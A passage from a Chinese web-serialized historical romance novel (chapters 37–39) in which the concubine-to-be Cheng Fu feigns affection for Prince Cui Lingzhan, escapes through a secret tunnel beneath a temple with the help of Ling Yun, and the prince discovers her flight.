苏姑娘以荣华富贵为诱饵,要求她奉上自由。 蓝雪哂笑:“连毅王府都不配你为奴为妾,好大的口气,这可是旁人跪着求都求不来的机遇。” 苏姑娘抬手摆了摆,示意心腹婢女不必多言。 “我素来不爱强迫他人。既然无缘,程姑娘慢走。”她说。 程芙浅施一礼转身折返。 待她下了二楼,苏姑娘才意味深长瞥向松歌,松歌领会,垂眸应是。 万没想到苏姑娘的人马尚未出手,午后船身骤然倾斜,江水从船底倒灌,撞开一扇扇门窗。 程芙和船娘子反应极快,先后冲出房门。 船娘子丢给程芙一块木板,自己也抱了一块,道:“跳船。” 程芙在水浪扑过来前纵身一跃。 再醒来已是次日辰时。 这场突如其来的水难吞噬了十几条人命,仅剩三名幸存者:她、船娘子陶花、蓝衣婢女蓝雪。 而这条船上最贵的性命——苏姑娘不幸身亡。 程芙闭了闭双目,回忆化作眼泪从眼角一滴一滴滚落,流进了崔令瞻的衣襟,沾湿他脖颈的肌肤,滚烫炽灼。 从她的叙述中,崔令瞻已然拼凑出了完整的脉络。 阿芙何其无辜。 方才还明媚的春日晴空,陡然暗了下去,雨丝纷纷扰扰,噼里啪啦敲打着车厢,车厢被雨幕分隔成了一方小小的世界。 崔令瞻低头吻着程芙粉靥的泪珠,低声轻哄着。 “她有她的不得已。”他柔声道,“我知道你比任何人都委屈,只是请你不要再恨她了。我这么说不是为她开脱,也不是偏心她,我的心一直都偏在你这里的,我只是想让你明白,怨恨她于事无补,只会让你的心更痛苦,而我们已经这样了……” 程芙止住哽咽,多想告诉他,她一直憎恨怨怼的人只有他啊。 她恨他。 崔令瞻却止不住地妄想,妄想当初这个倔强的姑娘从了阿嫣的心意该多好,这样他就能理直气壮收用她,把她据为己有,再不用如此刻般疼痛、悔恨、心虚,五味杂陈。 下一瞬,他又被自己贪婪的想法逗笑了。且不说阿芙同意为奴,后面的杀手也不可能让阿嫣活下去,便是真活到了嫁给他,他该如何处理这两个姑娘的关系? 安心享受齐人之福?今晚睡这个,明晚睡那个?尊重正妻,阿芙就一定要受委屈;偏心阿芙,岂非宠妾灭妻的薄情丈夫? 而他早晚都会偏心阿芙,注定了两难全。 可见他与她的今日,已是最好的结局。 至少可以专心呵护她。 “阿芙,也不要怪我。”他用力抱着她,亲吻着她,疼爱着她。 女孩无力的啜泣声被他完全吞没。 这日晚上,崔令瞻没有离开。 程芙并不知他如何做到的,但这样的事于他而言应是很简单。 他与她彻夜缠绕,一遍又一遍地将她的神魂撞进了天堑,撞入了渊海,不断地下坠…… 次早,她浑身虚脱,下地站了下晃晃悠悠,又被他重新抱进了帏帐内。 “我已命人替你告了假。昨夜……辛苦你了。”他俯身亲了亲她,“睡吧,我先回去了,月底接你回府。” 程芙没有睁眼,听见了衣料窸窸窣窣的声音,他自己拾起地上的衣物,一件件穿戴整齐,而后门扉打开,关上。 片刻之后,玉露端着铜盆走进来,放在盆架上,把装有热水的铜壶坐进棉花窠子里,一桶凉水放在盆架下,悄然离开。 再也没有人进来打扰她。 她睡了两个时辰。 三月廿四,程芙重新回到了毅王府,依然未能收到凌云的消息。 通福寺主持亲自上门测算吉凶,为毅王和程芙合过八字,推演一番,定下了一个良辰吉日:五月初一,端午前宜嫁娶。 王府的管事们开始为王爷的纳妾礼准备。 在月地云斋的婢女眼里,王爷纳程芙,再正常不过,她能有今日造化本就是迟早的事。 两个人眉来眼去又不是一两天,从程芙进月地云斋开始,王爷的魂魄就乱飞,忍了那么久才下嘴,也算是有耐心了。 程芙把册籍和手实用桐油纸裹得严严实实,塞进包袱的最底层。田产房契都在燕阳,带不走,便留在了原地。 午后针线房来了一拨人请她挑选礼服的款式,后面又来了一拨掌柜的,请她挑选头面。 不用她走过去,下人把东西呈到她伸手就能碰着的地方,饶是如此,挑选完,她也觉得有些乏了。 崔令瞻眉眼含笑走进来,问她:“挑得如何?” “没有新意。”程芙拄着下巴,直言不讳。 这副拿乔的样子,换做别的女人,崔令瞻理都不理的,却爱极了此刻的阿芙。 他说:“我在母妃的库房挑了一些上好的宝石和珍珠,予你做头面可好?” 先王妃的库房,崔令瞻生母的,他可真大方,拿母亲的遗物来哄妾室。程芙的开心没有通过刻意的神情来表现,她只弯了弯嘴角,不言不语靠进了崔令瞻怀里。 崔令瞻愣了下,垂眸一笑。 这样的她才是真的高兴了。 “不生气了?”他问。 “早就不气了。”程芙的脸颊在他襟口蹭了蹭,“阿芙这般软弱,您以后会不会不喜欢了,会不会在心里嘲笑唾手可得?” “为何这样讲?”他皱了眉心。 “您总是欺负我,可我却第一眼就喜欢了您,多不公平。”程芙柔声道,“在您身边的那些日子,真痛苦啊,我怎能喜欢伤害自己的人?可您总是无底线地宠着我,纵容我,让我生出了许多不该有的妄想。” 崔令瞻唇角微抿,顿了一会儿,才轻声道:“没有欺负阿芙,你可以一直喜欢我。”又顿了顿,不确定地问,“第一眼,阿芙就喜欢我?” 她没有立刻回答,默了默,仰脸看向他,眸中有水雾一般的光,潋滟动人,颤颤“嗯”了一声。 崔令瞻转忧为喜,亲亲她额头,“知道你委屈了,以后我会待你更好的。” “果真?” 他回“嗯”。 “那阿芙想要红色的婚服,用莲子米那么大的珍珠做云肩,以后每月的新衣都要最好的料子,王妃穿什么我就要什么,您可答应?” 崔令瞻笑了,“你怎么这么坏啊?” “连穿戴都舍不得予阿芙,只会用廉价的甜言蜜语哄骗着。” “好,给你。”他深深望着她。 她总算转嗔为喜,眼角还挂着泪花。 关起门来,逾不逾矩的还不都是崔令瞻一句话,下面的人闷头做事,谁也不会扫兴地多嘴。 只他难免要落下个耽于女色的名声。 可说的也是事实,他承认了,破罐子破摔。 “王爷,您是不是爱上阿芙了?”她忽然问,笑眯眯的。 崔令瞻陡然僵住,神情有些扭曲,转而不咸不淡道:“本王与你一样,非常喜欢。” 程芙笑了笑,迎接了他落下的吻—— 作者有话说:快了快了,马上就要逃走,男主失身失心,以及男主最后是皇帝[抱抱] 第38章 两心相悦的女人, 身子比任何时候都软,尽管还是很害羞,却红着脸应了他轻薄的要求, 床笫之欢前所未有的顺畅。 有时他怜她柔弱, 收敛些, 她还会主动贴过来, 由着他施为。 面团做的人儿,在他手里捏圆搓扁。可他舍不得, 常常依据她的声音判断她是不是真的好受,不让她疼。 崔令瞻夜夜“洞房”, 神清气爽, 阿芙也益发依恋他,时不时黏人,这种感觉很奇妙, 他自是愿意花时间陪伴她,哄着她的,只是今年有些事不太顺,四月后更是不太平,他要是个不分轻重,只会在温柔乡打滚之人,便也不是如今的毅王了。 程芙舍得一身剐, 终于把崔令瞻熬干了, 从每晚留宿变成了隔一晚一来,至四月中旬开始三五天来睡上一次了。 如此,远比让他饿红了眼,日日虎视眈眈盯着她强百倍。 藏龙山有矿,仅是一处朱砂矿。 凌云半个月来瘦了一大圈, 不论摸排还是绘图全是独立完成,做到他这份上也算对得起高居庙堂那位了。 落在付氏眼里,少不得要编排他两句,这日与程芙练完针术,喝茶歇息时,就唉声叹气道:“他原本是个好孩子,去年底着了道,今年越发没个稳重了,再这样下去可如何是好……” 原来凌云这段时日都在万春阁风流快活,听付氏的意思是连家都甚少回,挣的钱全撒女人身上了,前几日偶然见到他,被女人榨干了一圈,没出息。 程芙不动声色听着,心底有鄙夷,彷徨却也无可奈何。 这种彷徨让人仿佛双脚没个着落,空空茫茫悬在半空,她开始怀疑自己的判断,脑海走马灯似的飘过各种念头。 凌云这个人到底行不行? 答案显而易见,自古沾上赌和嫖的男人,几乎都是鼠辈。 这样的念头每每在深夜里徘徊,她就陷入了窒息的绝望,眼下她还有一条路,便是偷崔令瞻的私印,自己盖几份空白的路引,以便路遇盘查好畅通无阻。 可是私印哪有那么好偷。 若无崔令瞻在场,谁人敢放她进书房?她想起周围仆从时刻警惕的目光,幽森森的。 然而老虎都有打盹的时候,就不信崔令瞻时刻睁着眼,假如她就是要在他眼皮子底下偷呢? 是夜书房内,崔令瞻阅读京师那边传来的密信,墨砚从旁侍笔墨。 墨砚小声抱怨道:“这些年朝廷的眼线遍布大江南北,只咱们燕阳也太多了些。” “皇祖父年纪越来越大,变得糊涂又多疑。”崔令瞻无波无澜道,“然则他老人家好歹顾念几分亲情,东宫那位早就杀红了眼。” 口碑如日中天的东宫,可谓是步步紧逼,自去年开始屡次上疏毅王年轻尚需磨炼心性,且无父王在身边督导,掌控整个燕西军实乃冒进。 为此,东宫诚恳主张两则提议:其一,授沐鼎春将军帐前都尉,分担燕西军务,辅佐毅王;其二召毅王回京,既可以像瑾王那样安享富贵,亦能为神机营效力。 神机营乃大昭禁卫军三大营之一,国之重器,无出其右,不算埋没了毅王的天资。此提议合情合理,大公无私,且隐晦地避免了某些可能藏匿的危机,受到不少文臣赞许,连皇帝也有些动容,开始定下心沉思,暂时不表。 “以东宫的脑子断然想不到如此周全,想来背后有了高人。”墨砚微笑。 崔令瞻抿唇不语。 主仆秉烛夜谈,半炷香后,崔令瞻又写了封密函交给墨砚,门外就传来别鹤的通禀声:“王爷,小夫人要见您。” 无须等到正式过礼,下人们已改了口。这让崔令瞻有种尘埃落定的窃喜,从前抓不住的现今盖了他的章,标记了私印。 墨砚将密函塞进袖袋,朝毅王揖礼告退,走到门外亲自请程芙进去。 二更天略有些凉,不过立过夏,这份凉意便不伤人,反倒多了些清爽。程芙穿着胭脂色的软烟罗衫,点翠月华裙,一对镶嵌宝石的海棠耳坠微微晃动,流苏及锁骨,映得欺霜赛雪的肌肤珠玉光泽,从满室灯火中款款走来,身段若隐若现。 崔令瞻看得小-腹-一热,朝她伸出了右手,“这么晚为何还未休息?” 程芙走过去,把手搭在他掌心,“您已经五天没回去,我有些害怕。” “我们白天不是才一起用过饭?”他笑了,把她抱在腿上。 “王爷把阿芙那里当成了饭堂。” “哦,那你罚我吗?” 他拉着她的手往下放,教她做坏事。 程芙在心里凉笑,眉眼却颦蹙出了几分柔情,推开了他,“阿芙想您了。” 崔令瞻一愣,喉结微微滑动了下,遂收了轻亵之心,倾身与她相拥,下巴搁在她纤薄的肩上。 “我就是过来看您一眼,您该怎么忙就怎么忙,我不添乱。”她的声音在寂静的夜里吹拂他耳畔,让他的心脏也跟着宁静。 崔令瞻的眼眸渐渐有些松动,柔声道:“不忙了,今晚陪你。” 小别胜新婚,她又热情得紧,几个来回,崔令瞻略有些把持不住,喘着粗重的气息,道:“阿芙,这里不行,我没准备避火衣。” “上回,您不是想要我生个孩子?”她轻轻道。 “过两年吧。” “您嫌弃阿芙了。” “胡说。” 他起身把她抱在了书案上,高度正正好好,巧合的仿佛专门为他与她量身定制。 不一会儿就传来程芙似哭似吟的声音,他哪里享受过这般好待遇,不用避火衣,瞬间便失了控,再不想撤退。 事后,他望着昏睡的美人儿,升起一种摧折鲜花-嫩-蕊的罪恶感。这般狼狈模样,若是把人抱回去,她定又要觉得丢了颜面,怨怼他的。 崔令瞻把程芙安放在屏风后的碧纱橱内,盖上他的休息时搭的锦被,这才出去要水。他习惯了事后自己清理,甚至还要为软成一滩的阿芙清理。 彼此亲密如夫妻。 如愿在崔令瞻的书房睡了一晚,天色微白,程芙试着动了动,忍着酸胀不适翻过身,旁边果然空无一人,指腹探去试了试温度,并不暖,崔令瞻起得比她早,早已出门去了。 她立即翻身下床,因谨慎起见连鞋也不敢穿,赤足悄无声息转出屏风。殊不知除了她,根本不会有人非请自入。 昨夜留在此处,崔令瞻定会吩咐玉露前来服侍更衣起身,程芙在心里推算自己只有半盏茶时间,想必玉露正在赶来的路上。 她直奔那张紫檀大书案,扫了眼案上,文房四宝整整齐齐,就连砚屏也擦得纤尘不然,唯独不见任何印章,连盒印泥都没见着。 再看书案附近,抽屉暗格倒是不少,按了按,打不开,不用想也知其内暗锁机括,程芙跪在地上一阵捣腾,累得气喘吁吁。 不知是不是她的错觉,靠近了条案似乎还能闻到一丝若有若无的石楠花…… 恶心。她跌坐在地,忙往后退,浑身发烫。 一颗仓惶的心揪成了一团,疼到上不过气,比任何时候都恨他。 劳累了一夜,一无所获,如同人生,几多挣扎,却不一定尽如人意。程芙以袖擦掉油亮木面留下的指痕,忽听玉露动静,便重新爬进碧纱橱,叫进来。 没想到沉到了谷底的心很快又被凌云捞了上去。 尽管她对这个人的印象大打折扣,可不试试的话情况似乎也不会更好。 这日辰初,程芙站在生药馆附近的甬道,一眨不眨望着从门后走出的凌云。 是巧合,还是特意为她而来? 凌云目不斜视,与她错身而过,她的掌心传来了温热,是他的手指,塞了她小小一团纸。 程芙的心口砰砰砰狂跳。 “凌大人。” 凌云蹙眉回身望着程芙。 她用唇语对他说了一句:“明日此时此地。”而后笑道,“许久不见,跟您问声好。” 凌云点头,扭过身走了。程芙判断不出他到底懂不懂,只能硬着头皮一试。 玉露好奇地瞄了瞄凌云背影,对程芙道:“下回见到他就不用这么客气,您是小夫人,得他敬您三分才是。” 程芙:“罢了,些微差距不值一提,与人宽和总归是好的。” 玉露便作罢。 次日,程芙佯作来生药馆挑选药材,在甬道附近慢慢踱步,玉露不以为意。 正当程芙疑心凌云昨日可能没有领会她的意图时,熟悉的高大身影从门后再次出现,淡淡扫了她一眼,与她点个头,错肩而去,走了一段路,凌云才垂眸看向手心的小纸团,方才她用力往他手心塞的。 她要把自己全副身家都托付给他,请他四月十五务必前往沉香寺,取走供桌上的小包裹。 吃够了身无分文的亏,程芙决计不敢舍下这些钱财,况且离开那日又不能挎着个包裹招摇过市,思来想去也只有提前托付给凌云。 虽说金银细软都是崔令瞻赏赐的,可那都是她受了日日夜夜折磨换来的,该是她的精神弥补赔偿款。 她拿得全然不虚。 交过心的阿芙比从前多了几分小女儿情态,不仅黏人,还时不时撒一个无伤大雅的娇,含蓄地责怪他不够体贴。 可她又是极好哄的,漂亮的头面和库房里顶好的衣料就能让她重展笑颜,而后偕奴唤仆,欢欢喜喜去外面的首饰铺子或绣庄游逛去。 既承诺了养她,崔令瞻自然不会介意她的贪婪,甚至觉得理所当然。 外面的东西焉能比得过王府的,可她喜欢,就爱买,他便权当为她买欢心,含笑看着她轻狂。 十四那日,她捂着心口说做了噩梦,心绪不宁了大半宿。 “王爷,吉日越来越近,阿芙却没来由的慌张。”她神伤不已,“您说,会不会阿芙命薄,接不住这泼天的富贵……” “不许瞎说。”他说,“阿芙是最有福气的姑娘。” “明儿我想去沉香寺进一进香,好叫各路神佛知我心意,保佑我逢凶化吉。”她转眸望着他,盈盈动人,“王爷陪我一起好不好?” 崔令瞻双手捧着她小脸,“明日不行,你乖乖的,回来看上什么只管买。” 她略微遗憾,仍旧懂事地点点头。 沉香寺为了接待程芙,谢绝了其他香客,寺院花木葱茏,古树参天,程芙在贴身婢女的陪伴下将一只包裹放在供桌上。 包裹内放着她亲手抄写的经书,没有人敢拆开看。 王府女眷竟一次进贡三百两的香油钱,披着袈裟端庄肃然的老主持,白胡子微微颤抖,亲切地邀程芙听佛法,品茶参禅。 大半日就这么度过了。 打道回府前,程芙故意路过佛堂,瞥见供桌上已无包裹的踪影,缓缓松了口气。 面对出手大方的程芙,沉香寺主持心知遇到了大势主菩萨,次日便遣人去王府送了好些护身符,说了一堆看似高深奥妙的话,实则都是吉利话。 一来二去,两下的香火缘就这么建起了。 临近五月,日头一天比一天热腾,早晚还算舒适,中午出门颇有些灼人。 程芙难免担忧,凌云可真会选日子,路上二人少不得要吃些苦头。 她继续在小腿上绑沙袋练习,步子越走越稳,疲乏感越来越轻。 四月廿八,后日便是纳妾礼,月地云斋的下人忙前忙后服侍程芙试穿礼服,正红色的,用金丝绣了牡丹、鸾凤等祥瑞,云肩果然由数百颗莲子米大小的珍珠串成。 也不知崔令瞻从哪儿找来这些一模一样大的珍珠。 傍晚时分,崔令瞻信步走来,眼尾微挑,明亮锐澈,似是有什么天大的好消息般,正不住地得意。 婢女们瞧见他,纷纷屈膝请安,阿芙盘腿坐在罗汉榻,惯得很,眼波瞥见他,身子歪了歪,算作行了礼,也不下榻。 他习以为常,目光如水,蓄着笑意盯着她,她在打络子,依旧是同心方胜款儿,不用猜也知是打给谁的,他心里甜甜的。 彼时花窗大开,晚霞映在她薄薄的眼皮上,镀了层金色的粉,一如初见,她笑笑:“王爷。” 而后低眸,专心致志编织手中的络子。 “阿芙。”他走过去,表情镇定,胸臆似有无数只小鸟在快乐地扑腾着翅膀,“咱们不用行纳妾礼了。” 程芙指尖微顿,好一会儿才抬眸,幽幽看向他,“果真?” 崔令瞻的笑意挂在嘴角,略有些僵硬,而后轻轻道:“年底,我们拜堂成亲。” 他注意到她手里的络子错了一个结,歪了,她手忙脚乱去拆,音色微抖:“开什么玩笑呢,咱俩怎么能成婚?” “我们就是能成婚,我明媒正娶你,届时把你姨母接回来为你做主。” 程芙:“……” “我有一位信得过的家将,自边疆而归,已升任了正四品虎威将军。他不仅姓程,又在澹州生活过,时间还能与你出生那年对上,他要认你做亲生女儿,如此,我们就可以名正言顺了。” 将在外君令有所不受,且崔令瞻无父无母,在藩地先成家后呈报宗人府也不是不行,只要王妃身家清白,合乎礼法,亦能上玉牒。 他以为阿芙也会与他一般狂喜,对这个突如其来的好消息手足无措。 但她似乎是欢喜过了头,美丽的眼眸眨也不眨望着他,许久才怔怔移开。 崔令瞻等了许久,才听见她细若游丝的声音:“真好啊,我从未想过能嫁给您。” 她也学着他,双手轻轻捧着了他的脸颊,出神地盯着,痴痴的目光透过了他,仿佛落在了别人的身上。 她在看谁? 崔令瞻默然与她四目相对,直到她倾身吻了他一下,一下子就把他的耳朵烧红了。 这个吻,香香的,比羽毛还轻,他低头回味了许久。 直到过了三日,五月初二,他在去军营的路上仍止不住地想念。 一匹快马载着王府侍卫,气喘如牛追上了他的队伍,那侍卫自马上翻下,连滚带爬跪直了身子道:“王爷,小夫人在沉香寺消失了。” 崔令瞻顿了顿,没听清,“什么?” “小夫人消失了!” 与此同时,远在七十里外的沉香寺,人心惶惶,乱成了一锅粥。 王府护卫把客院搜了个底朝天,没多会儿犬吠声声,只见三名侍卫各自牵着一条细犬,飞快奔来,细犬甫一跑进院落,立即东闻闻西嗅嗅,呜呜叫着。 一干人等全都傻了眼,除了芳璃,其余人全是普通的仆婢,何曾见过这阵仗,好端端的人,在厢房里小憩,怎能说没就没了? 随行的护卫皆在外院,更是两眼一抹黑。 有人怀疑寺庙不干净,混入了精怪,将小夫人掳走了。 平时小夫人都是这样休息的,月地云斋的人无人不知无人不晓,大家守在门外或廊下,只要她稍稍出声,定有人应,她不叫人,大家轻易不会过去叨扰的。 在她消失前,一切都很正常,窗子大门皆有人守着,院子外面更有侍卫层层看管,便是只苍蝇飞过来也不可能没有人瞧见。 这种消失法太过诡异。 越想越吓人,玉露哭晕过去,觉得小夫人是被什么邪祟吞吃入腹了—— 作者有话说:小崔:老婆跑啦[爆哭] 第39章 仆婢中唯有芳璃尚且保持着冷静, 她推开程芙最后消失的那间房门,一步跨进去,仔细审视每一寸角落, 连房梁亦不放过。 芳璃:“你去屋顶看看, 瓦片有无人为翻动的痕迹。” 侍卫应是, 当即跳出门槛, 三下五除二攀上屋顶。 青天白日的,在众目睽睽之下从屋顶溜走, 微乎其微,可也只有这一条途经看似最合理了。芳璃姑且当那时众人聋了瞎了, 而程芙神通广大, 飞檐走壁。 检查瓦片的侍卫不多久就返身回禀:“每一片都没有问题,从衔接的缝隙判断差不多有半年未曾被外力翻动,与主持所言刚好对上。” 所以程芙没有飞檐走壁。 那便是遁地? 这个想法一起, 芳璃就笑了,简直是天大的荒谬,且不说沉香寺在客房挖个暗道的动机,便是主持那抠搜的样儿,让他花费重金造一个暗道,还不如把他杀了。 退一万步来讲,便是寺里真有人发疯, 舍得重金挖一个暗道, 这样的工程如何掩人耳目? 寺庙周围不少住户,客院外围大小僧人来来往往,谁敢将泥土一担担往外运送?又不是小数目,估摸处理起来都难如登天,一旦堆放民户附近, 必然惹下官司,那么挖暗道的行径也就藏不住。 此时客院里,老主持瘫坐一株百年老杏树下,脸色比那浅绿色的杏叶还要青,眼泪鼻涕一把接一把,信誓旦旦讲此事与自己一点干系也无,浑着寺庙就这么大,房间也这么些,任凭尔等搜查,便是把寺庙拆了、铲平,他也不知人怎么就没了。 厢房内,芳璃一脚踹开酸枝木的架子床,接近五百斤(参考明朝重量单位)重的分量就这么被她轻松挪开了…… 周围侍卫饶是见多识广,也不禁面色微变,冷汗涔涔偷瞄她。 芳璃:“你们几个过来,瞧瞧这块地砖。” 不信邪偏偏发现了邪,架子床底的一块方形大地砖,缝隙明显有挪动的痕迹。 侍卫闻言,纷纷围过来,一起将架子床挪得更远,对着地砖敲敲打打,而后撬开一角,芳璃上前一把掀开了。 一方黑幽幽的洞口映入了众人眼帘。 还真有暗道。 老主持的天塌了,一叠声地哀嚎道:“老衲不知啊,真不知怎么回事!” 他在此地做了三十年主持,掌握寺中大小开支用度,此般工程谁敢瞒着他进行,便是瞒着又如何运送挖暗道的泥土的? 众僧又不瞎。 这件事在王爷回来前,也就是次日黎明,很快水落石出。 暗道的尽头是一处废弃的农舍,十年前修葺,为银浪河漕运船工中转休息地,船工在此处卸货、装货、值夜。 谜题就此揭开了,十年前有人因不明动机从此处挖暗道,直通沉香寺,暗道产生的泥土就此打包装运到货船,等行至无人处,随便捡个夜黑风高时丢进水里,可以说是神不知鬼不觉了。 何人所挖,所为何事,追究起来必然需要一定时间,眼下令人困惑的是程芙如何得知这样的密道?又是谁助她离开? 她深居王府,一介女流,单凭自己决计做不到。 五月初三,崔令瞻马不停蹄赶到了沉香寺,步履如飞,侍卫迎上前,一路紧跟一路回禀,清晰且准确地描述了这期间所有的发现。 他站在暗道口上方,立即有两名侍卫举着火炬跳下去,墨砚将火炬递进他手里,他也利落一跃,随后有三名侍卫立即跟了过去。 密道修得很是宽敞合理,可供一人从容单行,并行略挤,高度更是宽裕,以崔令瞻的身高都能直立行走。 每隔一段距离就有铁网做的通风口,分布十分隐秘精巧,通行前只需将各处通风口清理干净,暗道内即可呼吸自如。 行至中央,地上散落着阿芙的钗环首饰和衣裙,从脚印判断另有一名高大的男子守在附近,却无挣扎打斗痕迹,即可推算彼时的她当着外男的面主动宽衣解带! 崔令瞻脸色一霎发绿,又在心里否定了这一想法,对方的体型远超阿芙,威胁她更衣,她也不敢不从,自己动手总比让对方动手来得好些。 思及此,他青白的脸色稍稍回了点血色。 以阿芙的人脉,肯为她出生入死的也只有徐峻茂,然则体型对不上,徐峻茂尚且是少年人身形,而留下脚印的神秘男子明显弱冠以上,魁梧结实,身怀内力。 但也不能排除徐峻茂有其他门路,托人拐走阿芙。 崔令瞻:“你,上去传本王口谕,叫墨砚即刻安排人日夜紧盯徐峻茂,切勿打草惊蛇,一旦发现异常就将人控制住,本王亲自审问。” 倘若真是他拐走了阿芙,崔令瞻誓要将其扒皮拆骨,五马分尸。 “是,王爷。” 走在最后的侍卫抱拳领命退出了暗道。 半个时辰悄然流逝,毅王一行人于卯时三刻走到了尽头——银浪河附近废弃的农舍。 荒废了至少六年的农舍墙垣断裂,院中杂草丛生,芦苇可达一人高,早就成了蛇鼠虫鸟的庇护所,它们宁静的清晨再次被惊扰,这次是数十粉底皂靴的亲王侍卫,各个手持长剑,寒光森森。 众人入目所及,蛛网密集,盘根错节,几样经年的旧橱柜早已腐朽,崔令瞻无法想象阿芙在这种鬼地方是如何呼吸的。 他捂住口鼻,一步步往外走去,前面有侍卫疾步奔来,抱拳回禀:“后院发现了马粪和马蹄印,俱是两匹成年卑然马。” 连骏马都有,且是以速度和耐力著称的卑然马,崔令瞻简直不敢想象此刻的阿芙已经跑了多远。 卑然马可不好买,大多为军队所需,能一次性弄来两匹的,绝非普通人,然而对方神通广大,连这样的暗道都能利用,要依据卑然马顺藤摸瓜,也绝非三两天便能查清的。 阿芙,可真是送了他好大一个婚前惊喜。 她根本不是他以为的小小姑娘家。 当年她能逃出徐知县的县衙,今日便也能逃出他的王府。 只不知今日帮她的男人,又是哪位裙下之臣? 崔令瞻凉凉一笑,身形微晃。 沸腾的心湖终于在这一刻短暂地熄灭,从前那些被有意无意忽略的脉络,得以全部清晰地浮出了水面。 他忽然想起去年阿芙不再抗拒他的深吻,却提出学习马术。 那时已经有了端倪。 他又想起她屡次主动献身,次次都伴随一个小小的要求,借阅《燕阳地理志》,了解燕阳地势特征,好奇官道…… 而他所有的疑虑和警惕都在这温柔乡里,无知无觉地消融,一颗心也为她化成了-春-水。 他想起她委屈咧开的小嘴,不敢哭泣,迎着他的力道不停颤抖,他以为她是舒服的。 他想起她的娇嗔与黏人,索要他的陪伴,以挥金如土怨怪他的不体贴,他唯有纵容她在外面闲逛散心,哄她开心。 她果真就肆无忌惮闲逛了,还在沉香寺结下香火缘。 他想起她离开前的那几日,与他在书房缱绻痴缠。 他想起了她在晚霞里含笑的眼,落寞又寂寥,温柔地为他编织同心方胜的络子。 点点滴滴,似无声的浅溪流淌,串成了一条蓄谋已久的完整脉络。 她以美色与假意,诱-哄他成为栽在她手心的又一位裙下之臣。 事已至此,他却更怕她是被拐骗的,孤男寡女相处,她那般娇美,男人绝无可能不心生邪念,届时她将是任人宰割的羔羊。 而他鞭长莫及。 不安和恐惧瞬间蜂拥而至,犹若滔天巨浪,吞噬了崔令瞻,他额角渗出一层冷汗,眼底发黑。 “王爷——” 一声惊呼,周围的侍卫顷刻围了过来。 初夏的清晨微风徐徐,橙红色的太阳破开云层,从藏龙山的山脊北面升起,吹散了微微湿润的晨雾。 山道上两匹快马一前一后,四蹄飞扬,旋风疾掠。 程芙穿着青布褙子,内衬藕褐窄袖短衫,下着同色的百褶裙,方便骑行。 五月初的天气相当柔和了,然而在疾驰的马背上狂奔了八个时辰,中间仅歇息了两盏茶的功夫,她早已力倦神疲,靛蓝细布的面巾里唇色苍白。 饶是如此,她的目光始终锁着凌云的背影,□□的马匹依旧维持着一定的距离,紧追不舍,生怕一错眼就拉开了追不上的距离,连累他不得不放慢速度迁就她,慢一回两回还好说,一路都这么慢,难保他不失去耐心。 因而她从头至尾哼都不哼一声,沉默且忍耐,不曾拖过一次后腿。 姨母就在京师等她呢。 这一路凌云默默放慢了速度,谁知她还是跟不上,他只能心里道着晦气,一而再地放慢,听着距离又拉开了,他回首看她,瞳仁微晃,她在马上摇摇欲坠。 凌云猛一勒紧缰绳,身下马儿高亢嘶鸣,扬了扬前蹄,停在了原地。 程芙止不住狂喜,终于可以休息了,她和她的马儿越跑越慢,停在了凌云五六步开外。 “此间前不着村后不着店,你若要休息便去那棵树下,我给你两刻钟。”他说,“或者继续赶路,巳正我们可以赶到一处村落休整。” 现在不歇的话就还要跑一个半时辰,程芙两眼冒金花,在脑子里斟酌了一下,才轻声问:“我可以决定?” 凌云:“嗯。” 程芙:“那歇歇吧,晚两刻钟到落脚的地方也不打紧……” 凌云:“……好。” 殊不知她才做了一个下马的动作,便吃痛地闷哼,这一声太过明显,已经为凌云察觉,他投来困惑的目光。 程芙的泪花在眼眶打转,屏息拼命咽下,有气无力道:“我不下去了,就趴在马上歇会儿……” 凌云端量她几眼,看懂了,走过来道:“下来上药。” 程芙:“……” “再拖下去,你大-腿-内-侧磨烂的皮肉便会与衣料黏在一处,你自己就是女医,难道不清楚后果?还是想当着一群人的面下不了马,被我拽下来?” 程芙被他数落得心肝俱裂,惨白着脸咬牙爬下马,双脚甫一落地就直打摆子,扑进了凌云怀中。 他面无表情,动也不动。 程芙早已麻木,麻木地道歉,麻木地站稳,麻木地一瘸一拐走到树的背面,掏出随身携带的金疮药,含泪解开腰带,一点一点处理那层磨破的皮肉,好痛啊,真的好痛。 为了跑路,她天天锻炼,不惜绑沙袋,然而真正的骑马赶路与她那些小打小闹完全不一样,八个时辰,已经把她的骨头架子颠簸散,身上最细嫩的肌肤见了血。 她疼到小声抽泣。 两刻钟后,照常赶路。 程芙的白色坐骑驮着两个人的包裹,黑色坐骑驮着凌云和程芙,奔跑的速度明显慢了白马一截。 凌云气急败坏道:“我就知道你不行,才八个时辰堪堪去了半条命,这不是要我一路伺候你去京师!” 程芙一动不动侧坐马背,神色怏怏,斜靠在他怀里,连搂着他都不会,还要他腾出一只手臂固定她,凌云直呕血。 可她的身体超出了他想象的轻,又轻又软,倚在怀里像是绵柔的云雾,甫一触碰,就激得他寒毛倒竖。 一股若有似无的体香也直往他鼻腔里钻,无时无刻不骚扰着他敏锐的嗅觉。 凌云累了,止了声,歹毒的唇抿成了一条线。 比预期迟了一个时辰赶到村落。 人烟稀少的小地方,村民多以耕田和渔猎为生,也有人家在路旁经营茶馆客栈,以供行路之人打尖住宿。 只不过小地方能提供的茶水饭菜有限,一家比一家粗糙,唯一的客栈则人满为患,仅剩大通铺,然则便是大通铺也仅剩一人席位。 店家瞄一眼凌云和他怀里虚弱的女人,蒙着脸,看不清样貌,头发也都用布包了,更看不出是妇人还是少女,似乎受了伤,不良于行,年轻人把她从马上抱下就未曾假手他人,想来应是一对小夫妻。 “二位贵客,小的观尊夫人体型娇小,你俩挤一挤也能在大通铺将就一晚的。”店家赔笑着,极力游说,生怕少赚一枚铜钱。 凌云前去瞥了眼所谓的大通铺,一群光着上半身的汉子东倒西歪,整间屋子充满了酸臭味、脚臭味以及各种奇怪的异味,别说程芙了,他也快呕了。 那群人瞄见他怀里有女人,皆神情一振,直勾勾盯着看。 凌云“嘭”的大力关上窗子,尘土四扬,他不住地往后退,想着幸好没将程芙扔在原地,他真怕她被人顺手牵走了。 小妇人半路被人拐走的事不常见但也不是没有。 真要那样,他可就赔了夫人又折兵。 “三倍价格帮我匀一间客房。”凌云丢给店家一粒碎银子,又丢给他五钱银子,“这是辛苦费。” 店家小小的眼睛瞬间扩大了三四倍,难以置信瞅着掌心的银子,是银子,白花花的,不是铜板!而后又激动地看向凌云,“贵客稍等,小的这就去给您办!” 